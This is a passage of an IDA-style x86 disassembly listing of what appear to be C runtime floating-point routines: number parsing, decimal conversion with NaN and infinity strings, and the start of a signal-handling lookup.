sub_4253AE proc near ; CODE XREF: sub_425973+1C8p
; sub_425DEE+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4253AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4253DB proc near ; CODE XREF: sub_4254A2+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_42544F
push edi
mov [ebp+arg_8], eax
loc_425402: ; CODE XREF: sub_4253DB+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_425380
push ebx
call sub_425380
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425322
push ebx
call sub_425380
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425322
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_425402
xor edx, edx
pop edi
loc_42544F: ; CODE XREF: sub_4253DB+21j
; sub_4253DB+9Fj
cmp [ebx+8], edx
jnz short loc_42547C
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_42544F
; ---------------------------------------------------------------------------
loc_42547C: ; CODE XREF: sub_4253DB+77j
mov esi, 8000h
loc_425481: ; CODE XREF: sub_4253DB+B9j
test [ebx+8], esi
jnz short loc_425496
push ebx
call sub_425380
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_425481
; ---------------------------------------------------------------------------
loc_425496: ; CODE XREF: sub_4253DB+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_4253DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4254A2 proc near ; CODE XREF: sub_424D28+17p
; sub_424D55+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_4254DD: ; CODE XREF: sub_4254A2+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_4254F3
cmp cl, 9
jz short loc_4254F3
cmp cl, 0Ah
jz short loc_4254F3
cmp cl, 0Dh
jnz short loc_4254F6
loc_4254F3: ; CODE XREF: sub_4254A2+40j
; sub_4254A2+45j ...
inc edi
jmp short loc_4254DD
; ---------------------------------------------------------------------------
loc_4254F6: ; CODE XREF: sub_4254A2+4Fj
push 4
pop esi
loc_4254F9: ; CODE XREF: sub_4254A2+AEj
; sub_4254A2+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_42577C ; default
; jumptable 00425505 case 10
jmp off_425943[eax*4] ; switch jump
loc_42550C: ; DATA XREF: ___:off_425943o
cmp bl, 31h ; jumptable 00425505 case 0
jl short loc_42551D
cmp bl, 39h
jg short loc_42551D
loc_425516: ; CODE XREF: sub_4254A2+C4j
; sub_4254A2+118j
push 3
jmp loc_42573A
; ---------------------------------------------------------------------------
loc_42551D: ; CODE XREF: sub_4254A2+6Dj
; sub_4254A2+72j
cmp bl, byte_43D088
jnz short loc_42552C
loc_425525: ; CODE XREF: sub_4254A2+124j
push 5
jmp loc_425772
; ---------------------------------------------------------------------------
loc_42552C: ; CODE XREF: sub_4254A2+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_425552
dec eax
dec eax
jz short loc_425546
sub eax, 3
jnz loc_425815
jmp loc_4255D5
; ---------------------------------------------------------------------------
loc_425546: ; CODE XREF: sub_4254A2+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_4254F9
; ---------------------------------------------------------------------------
loc_425552: ; CODE XREF: sub_4254A2+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_4254F9
; ---------------------------------------------------------------------------
loc_42555B: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp bl, 31h ; jumptable 00425505 case 1
mov [ebp+var_10], edx
jl short loc_425568
cmp bl, 39h
jle short loc_425516
loc_425568: ; CODE XREF: sub_4254A2+BFj
cmp bl, byte_43D088
jz loc_425630
cmp bl, 2Bh
jz short loc_4255AA
cmp bl, 2Dh
jz short loc_4255AA
cmp bl, 30h
jz short loc_4255D5
loc_425583: ; CODE XREF: sub_4254A2+207j
cmp bl, 43h
jle loc_425815
cmp bl, 45h
jle short loc_4255A3
cmp bl, 63h
jle loc_425815
cmp bl, 65h
jg loc_425815
loc_4255A3: ; CODE XREF: sub_4254A2+EDj
push 6
jmp loc_425772
; ---------------------------------------------------------------------------
loc_4255AA: ; CODE XREF: sub_4254A2+D5j
; sub_4254A2+DAj ...
dec edi
push 0Bh
jmp loc_425772
; ---------------------------------------------------------------------------
loc_4255B2: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp bl, 31h ; jumptable 00425505 case 2
jl short loc_4255C0
cmp bl, 39h
jle loc_425516
loc_4255C0: ; CODE XREF: sub_4254A2+113j
cmp bl, byte_43D088
jz loc_425525
cmp bl, 30h
jnz loc_42578A
loc_4255D5: ; CODE XREF: sub_4254A2+9Fj
; sub_4254A2+DFj
mov eax, edx
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_4255DC: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
mov [ebp+var_10], edx ; jumptable 00425505 case 3
loc_4255DF: ; CODE XREF: sub_4254A2+184j
cmp dword_43D084, edx
jle short loc_4255F8
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425606
; ---------------------------------------------------------------------------
loc_4255F8: ; CODE XREF: sub_4254A2+143j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425606: ; CODE XREF: sub_4254A2+154j
test eax, eax
jz short loc_425628
cmp [ebp+var_4], 19h
jnb short loc_425620
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_425623
; ---------------------------------------------------------------------------
loc_425620: ; CODE XREF: sub_4254A2+16Cj
inc [ebp+var_8]
loc_425623: ; CODE XREF: sub_4254A2+17Cj
mov bl, [edi]
inc edi
jmp short loc_4255DF
; ---------------------------------------------------------------------------
loc_425628: ; CODE XREF: sub_4254A2+166j
cmp bl, byte_43D088
jnz short loc_425697
loc_425630: ; CODE XREF: sub_4254A2+CCj
mov eax, esi
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425637: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp [ebp+var_4], 0 ; jumptable 00425505 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_425650
loc_425643: ; CODE XREF: sub_4254A2+1ACj
cmp bl, 30h
jnz short loc_425650
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_425643
; ---------------------------------------------------------------------------
loc_425650: ; CODE XREF: sub_4254A2+19Fj
; sub_4254A2+1A4j ...
cmp dword_43D084, edx
jle short loc_425669
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425669: ; CODE XREF: sub_4254A2+1B4j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425677: ; CODE XREF: sub_4254A2+1C5j
test eax, eax
jz short loc_425697
cmp [ebp+var_4], 19h
jnb short loc_425692
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_425692: ; CODE XREF: sub_4254A2+1DDj
mov bl, [edi]
inc edi
jmp short loc_425650
; ---------------------------------------------------------------------------
loc_425697: ; CODE XREF: sub_4254A2+18Cj
; sub_4254A2+1D7j
cmp bl, 2Bh
jz loc_4255AA
cmp bl, 2Dh
jz loc_4255AA
jmp loc_425583
; ---------------------------------------------------------------------------
loc_4256AE: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp dword_43D084, edx ; jumptable 00425505 case 5
mov [ebp+var_24], edx
jle short loc_4256CA
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4256D8
; ---------------------------------------------------------------------------
loc_4256CA: ; CODE XREF: sub_4254A2+215j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4256D8: ; CODE XREF: sub_4254A2+226j
test eax, eax
jz loc_42578A
mov eax, esi
jmp short loc_42573B
; ---------------------------------------------------------------------------
loc_4256E4: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
lea ecx, [edi-2] ; jumptable 00425505 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_4256F4
cmp bl, 39h
jle short loc_425738
loc_4256F4: ; CODE XREF: sub_4254A2+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_425770
dec eax
dec eax
jz short loc_425764
sub eax, 3
jnz loc_425818
loc_425709: ; CODE XREF: sub_4254A2+2A4j
push 8
jmp short loc_425772
; ---------------------------------------------------------------------------
loc_42570D: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
mov [ebp+var_20], edx ; jumptable 00425505 case 8
loc_425710: ; CODE XREF: sub_4254A2+276j
cmp bl, 30h
jnz short loc_42571A
mov bl, [edi]
inc edi
jmp short loc_425710
; ---------------------------------------------------------------------------
loc_42571A: ; CODE XREF: sub_4254A2+271j
cmp bl, 31h
jl loc_425815
cmp bl, 39h
jg loc_425815
jmp short loc_425738
; ---------------------------------------------------------------------------
loc_42572E: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp bl, 31h ; jumptable 00425505 case 7
jl short loc_425741
cmp bl, 39h
jg short loc_425741
loc_425738: ; CODE XREF: sub_4254A2+250j
; sub_4254A2+28Aj
push 9
loc_42573A: ; CODE XREF: sub_4254A2+76j
pop eax
loc_42573B: ; CODE XREF: sub_4254A2+240j
dec edi
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425741: ; CODE XREF: sub_4254A2+28Fj
; sub_4254A2+294j
cmp bl, 30h
jnz short loc_42578A
jmp short loc_425709
; ---------------------------------------------------------------------------
loc_425748: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
cmp [ebp+arg_18], 0 ; jumptable 00425505 case 11
jz short loc_425778
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_425770
dec eax
dec eax
jnz loc_425818
loc_425764: ; CODE XREF: sub_4254A2+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425770: ; CODE XREF: sub_4254A2+258j
; sub_4254A2+2B8j
push 7
loc_425772: ; CODE XREF: sub_4254A2+85j
; sub_4254A2+103j ...
pop eax
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425778: ; CODE XREF: sub_4254A2+2AAj
push 0Ah
dec edi
pop eax
loc_42577C: ; CODE XREF: sub_4254A2+5Dj
; sub_4254A2+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425505 case 10
jz loc_42581A
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_42578A: ; CODE XREF: sub_4254A2+12Dj
; sub_4254A2+238j ...
mov edi, [ebp+arg_8]
jmp loc_42581A
; ---------------------------------------------------------------------------
loc_425792: ; CODE XREF: sub_4254A2+63j
; DATA XREF: ___:off_425943o
mov [ebp+var_20], 1 ; jumptable 00425505 case 9
xor esi, esi
loc_42579B: ; CODE XREF: sub_4254A2+339j
cmp dword_43D084, 1
jle short loc_4257B3
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4257C2
; ---------------------------------------------------------------------------
loc_4257B3: ; CODE XREF: sub_4254A2+300j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_4257C2: ; CODE XREF: sub_4254A2+30Fj
test eax, eax
jz short loc_4257E2
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_4257DD
mov bl, [edi]
inc edi
jmp short loc_42579B
; ---------------------------------------------------------------------------
loc_4257DD: ; CODE XREF: sub_4254A2+334j
mov esi, 1451h
loc_4257E2: ; CODE XREF: sub_4254A2+322j
mov [ebp+var_1C], esi
loc_4257E5: ; CODE XREF: sub_4254A2+371j
cmp dword_43D084, 1
jle short loc_4257FD
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_42580C
; ---------------------------------------------------------------------------
loc_4257FD: ; CODE XREF: sub_4254A2+34Aj
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_42580C: ; CODE XREF: sub_4254A2+359j
test eax, eax
jz short loc_425815
mov bl, [edi]
inc edi
jmp short loc_4257E5
; ---------------------------------------------------------------------------
loc_425815: ; CODE XREF: sub_4254A2+99j
; sub_4254A2+E4j ...
dec edi
jmp short loc_42581A
; ---------------------------------------------------------------------------
loc_425818: ; CODE XREF: sub_4254A2+261j
; sub_4254A2+2BCj
mov edi, ecx
loc_42581A: ; CODE XREF: sub_4254A2+2DDj
; sub_4254A2+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_425902
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_425846
cmp [ebp+var_45], 5
jl short loc_42583A
inc [ebp+var_45]
loc_42583A: ; CODE XREF: sub_4254A2+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_425849
; ---------------------------------------------------------------------------
loc_425846: ; CODE XREF: sub_4254A2+38Dj
mov eax, [ebp+var_C]
loc_425849: ; CODE XREF: sub_4254A2+3A2j
cmp [ebp+var_4], 0
jbe loc_4258F8
loc_425853: ; CODE XREF: sub_4254A2+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_425861
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_425853
; ---------------------------------------------------------------------------
loc_425861: ; CODE XREF: sub_4254A2+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_4253DB
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_425880
neg eax
loc_425880: ; CODE XREF: sub_4254A2+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_42588B
add eax, [ebp+arg_10]
loc_42588B: ; CODE XREF: sub_4254A2+3E4j
cmp [ebp+var_24], ecx
jnz short loc_425893
sub eax, [ebp+arg_14]
loc_425893: ; CODE XREF: sub_4254A2+3ECj
cmp eax, 1450h
jle short loc_4258CA
mov [ebp+var_2C], 1
loc_4258A1: ; CODE XREF: sub_4254A2+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4258AD: ; CODE XREF: sub_4254A2+454j
; sub_4254A2+45Ej
cmp [ebp+var_2C], 0
jz short loc_425913
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_425928
; ---------------------------------------------------------------------------
loc_4258CA: ; CODE XREF: sub_4254A2+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_4258DA
mov [ebp+var_30], 1
jmp short loc_4258A1
; ---------------------------------------------------------------------------
loc_4258DA: ; CODE XREF: sub_4254A2+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_42600E
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4258AD
; ---------------------------------------------------------------------------
loc_4258F8: ; CODE XREF: sub_4254A2+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4258AD
; ---------------------------------------------------------------------------
loc_425902: ; CODE XREF: sub_4254A2+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_425928
; ---------------------------------------------------------------------------
loc_425913: ; CODE XREF: sub_4254A2+40Fj
cmp [ebp+var_30], 0
jz short loc_425928
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_425928: ; CODE XREF: sub_4254A2+426j
; sub_4254A2+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4254A2 endp
; ---------------------------------------------------------------------------
off_425943 dd offset loc_42550C ; DATA XREF: sub_4254A2+63r
dd offset loc_42555B ; jump table for switch statement
dd offset loc_4255B2
dd offset loc_4255DC
dd offset loc_425637
dd offset loc_4256AE
dd offset loc_4256E4
dd offset loc_42572E
dd offset loc_42570D
dd offset loc_425792
dd offset loc_42577C
dd offset loc_425748
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425973 proc near ; CODE XREF: sub_424DF9+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_4259D5
mov byte ptr [ebx+2], 2Dh
jmp short loc_4259D9
; ---------------------------------------------------------------------------
loc_4259D5: ; CODE XREF: sub_425973+5Aj
mov byte ptr [ebx+2], 20h
loc_4259D9: ; CODE XREF: sub_425973+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_4259FF
test edi, edi
jnz short loc_4259FF
cmp [ebp+arg_0], edi
jnz short loc_4259FF
loc_4259EA: ; CODE XREF: sub_425973+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_425BFD
; ---------------------------------------------------------------------------
loc_4259FF: ; CODE XREF: sub_425973+6Cj
; sub_425973+70j ...
cmp dx, si
jnz short loc_425A7E
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425A18
cmp [ebp+arg_0], 0
jz short loc_425A27
loc_425A18: ; CODE XREF: sub_425973+9Dj
test edi, 40000000h
jnz short loc_425A27
push offset a1Snan ; "1#SNAN"
jmp short loc_425A6D
; ---------------------------------------------------------------------------
loc_425A27: ; CODE XREF: sub_425973+A3j
; sub_425973+ABj
test cx, cx
jz short loc_425A41
cmp edi, 0C0000000h
jnz short loc_425A41
cmp [ebp+arg_0], 0
jnz short loc_425A68
push offset a1Ind ; "1#IND"
jmp short loc_425A50
; ---------------------------------------------------------------------------
loc_425A41: ; CODE XREF: sub_425973+B7j
; sub_425973+BFj
cmp edi, eax
jnz short loc_425A68
cmp [ebp+arg_0], 0
jnz short loc_425A68
push offset a1Inf ; "1#INF"
loc_425A50: ; CODE XREF: sub_425973+CCj
lea eax, [ebx+4]
push eax
call sub_41C890
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_425A5F: ; CODE XREF: sub_425973+109j
and [ebp+var_4], 0
jmp loc_425BD6
; ---------------------------------------------------------------------------
loc_425A68: ; CODE XREF: sub_425973+C5j
; sub_425973+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_425A6D: ; CODE XREF: sub_425973+B2j
lea eax, [ebx+4]
push eax
call sub_41C890
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_425A5F
; ---------------------------------------------------------------------------
loc_425A7E: ; CODE XREF: sub_425973+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_42600E
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_425ADF
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_425DEE
pop ecx
pop ecx
loc_425ADF: ; CODE XREF: sub_425973+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425AF9
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_425AFC
jmp loc_4259EA
; ---------------------------------------------------------------------------
loc_425AF9: ; CODE XREF: sub_425973+173j
mov edi, [ebp+arg_C]
loc_425AFC: ; CODE XREF: sub_425973+17Fj
cmp edi, 15h
jle short loc_425B04
push 15h
pop edi
loc_425B04: ; CODE XREF: sub_425973+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425B1A: ; CODE XREF: sub_425973+1B4j
lea eax, [ebp+var_10]
push eax
call sub_425380
dec [ebp+arg_14]
pop ecx
jnz short loc_425B1A
test esi, esi
jge short loc_425B44
neg esi
and esi, 0FFh
jle short loc_425B44
loc_425B37: ; CODE XREF: sub_425973+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4253AE
dec esi
pop ecx
jnz short loc_425B37
loc_425B44: ; CODE XREF: sub_425973+1B8j
; sub_425973+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_425BA1
mov [ebp+arg_C], ecx
loc_425B54: ; CODE XREF: sub_425973+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_425380
lea eax, [ebp+var_10]
push eax
call sub_425380
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_425322
lea eax, [ebp+var_10]
push eax
call sub_425380
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_425B54
mov eax, [ebp+arg_14]
loc_425BA1: ; CODE XREF: sub_425973+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_425BDE
loc_425BAE: ; CODE XREF: sub_425973+248j
cmp eax, ecx
jb short loc_425BC1
cmp byte ptr [eax], 39h
jnz short loc_425BBD
mov byte ptr [eax], 30h
dec eax
jmp short loc_425BAE
; ---------------------------------------------------------------------------
loc_425BBD: ; CODE XREF: sub_425973+242j
cmp eax, ecx
jnb short loc_425BC5
loc_425BC1: ; CODE XREF: sub_425973+23Dj
inc eax
inc word ptr [ebx]
loc_425BC5: ; CODE XREF: sub_425973+24Cj
inc byte ptr [eax]
loc_425BC7: ; CODE XREF: sub_425973+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425BD6: ; CODE XREF: sub_425973+F0j
mov eax, [ebp+var_4]
loc_425BD9: ; CODE XREF: sub_425973+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_425BDE: ; CODE XREF: sub_425973+239j
; sub_425973+275j
cmp eax, ecx
jb short loc_425BEE
cmp byte ptr [eax], 30h
jnz short loc_425BEA
dec eax
jmp short loc_425BDE
; ---------------------------------------------------------------------------
loc_425BEA: ; CODE XREF: sub_425973+272j
cmp eax, ecx
jnb short loc_425BC7
loc_425BEE: ; CODE XREF: sub_425973+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_425BFD: ; CODE XREF: sub_425973+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425BD9
sub_425973 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425C06 proc near ; CODE XREF: sub_422DFC+21DDp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_425C6D
dec eax
dec eax
jz short loc_425C5E
sub eax, 4
jz short loc_425C5E
sub eax, 3
jz short loc_425C5E
sub eax, 4
jz short loc_425C51
sub eax, 6
jz short loc_425C44
dec eax
jz short loc_425C37
or eax, 0FFFFFFFFh
jmp loc_425D2F
; ---------------------------------------------------------------------------
loc_425C37: ; CODE XREF: sub_425C06+27j
mov esi, dword_4DC004
mov eax, offset dword_4DC004
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C44: ; CODE XREF: sub_425C06+24j
mov esi, dword_4DC000
mov eax, offset dword_4DC000
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C51: ; CODE XREF: sub_425C06+1Fj
mov esi, dword_4DC008
mov eax, offset dword_4DC008
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C5E: ; CODE XREF: sub_425C06+10j
; sub_425C06+15j ...
push edi
call sub_425D33
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C6D: ; CODE XREF: sub_425C06+Cj
mov esi, dword_4DBFFC
mov eax, offset dword_4DBFFC
loc_425C78: ; CODE XREF: sub_425C06+3Cj
; sub_425C06+49j ...
cmp esi, 1
jnz short loc_425C84
xor eax, eax
jmp loc_425D2F
; ---------------------------------------------------------------------------
loc_425C84: ; CODE XREF: sub_425C06+75j
test esi, esi
jnz short loc_425C8F
push 3
call sub_41C1A2
loc_425C8F: ; CODE XREF: sub_425C06+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_425CA1
cmp edi, 0Bh
jz short loc_425CA1
cmp edi, 4
jnz short loc_425CC7
loc_425CA1: ; CODE XREF: sub_425C06+8Fj
; sub_425C06+94j
mov ebx, dword_4DBE9C
and dword_4DBE9C, 0
cmp edi, ecx
jnz short loc_425CF6
mov edx, dword_43D4CC
mov dword_43D4CC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_425CCA
; ---------------------------------------------------------------------------
loc_425CC7: ; CODE XREF: sub_425C06+99j
mov ebx, [ebp+arg_0]
loc_425CCA: ; CODE XREF: sub_425C06+BFj
